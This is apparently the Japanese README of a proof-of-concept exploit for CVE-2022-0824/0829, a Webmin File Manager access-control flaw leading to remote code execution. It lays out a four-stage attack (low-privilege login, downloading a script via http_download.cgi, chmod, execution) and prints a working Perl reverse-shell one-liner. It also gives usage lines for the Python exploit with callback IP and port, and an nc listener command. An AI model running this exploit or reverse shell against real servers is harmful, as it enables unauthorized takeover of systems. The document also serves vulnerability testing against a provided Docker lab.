WebminRCE-exploit

CVE-2022-0824, CVE-2022-0829 - File Manager 権限の悪用

このPoCをテストするための脆弱なアプリケーションは、Dockerイメージとしてこちらにあります。
前提条件：

• Python3
• requestsモジュール

説明

脆弱性

不適切なアクセス制御によるリモートコード実行 安全なユーザー（非特権ユーザー）は、デフォルトで制限されるべきFile Managerモジュールにアクセスできます。

エクスプロイトペイロード

不適切なアクセス制御の脆弱性を利用して、cgiファイルをWebminサーバーにアップロードします。

ステージ1（認証）

安全/低特権ユーザーでサーバーに認証してログインします。

ステージ2（サーバーにファイルをダウンロード）

脆弱なFile Manager (/file-manager/http_download.cgi) モジュールを使用して、perlスクリプトをサーバーにダウンロードします。
リバースシェルアクセスを得るためのPerlスクリプト：

perl -e 'use Socket;$i="0.0.0.0";$p=1111;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

ステージ3（権限変更）

ファイル (/file-manager/chmod.cgi) に実行権限を追加します。

ステージ4（コマンド実行）

アップロードしたファイルを呼び出して、その内部にあるリバースシェルスクリプトを実行します。

使用手順 :

  $ python3 cve-2022-0824.py --help
  
  usage: cve-2022-0824.py [-h] --host HOST --user USER --password PASSWORD
                        --Python_server PYTHON_SERVER --callback_url
                        CALLBACK_URL [--proxy PROXY]

optional arguments:
  -h, --help            show this help message and exit
  --host HOST           Host url(complete)
  --user USER           Username
  --password PASSWORD   Password
  --Python_server PYTHON_SERVER
                        Python httpServer with port
  --callback_url CALLBACK_URL
                        Callback ip and port
  --proxy PROXY         Proxy details

使用例:

$ python3 cve-2022-0824.py --host [Target_url] --user [Username] --password[Password] --Python_server [Filehosting Server Information] ----callback_url [<ip>:<port> for reverse shell connections] --proxy [Proxy server details - optional]

$ python3 cve-2022-0824.py --host http://localhost:10000 --user usr --password usr --Python_server 192.168.43.228:9999 --callback_url 192.168.43.228:1234 --proxy http://127.0.0.1:8080

ユーザー名とパスワードは安全なユーザー（非特権）用です。 リバースシェル接続を取得するために、スクリプトを実行する前にリスナーを設定してください。

$ nc -lvp <port>

エクスプロイトを提供してくれた@faisalfs10xに感謝します。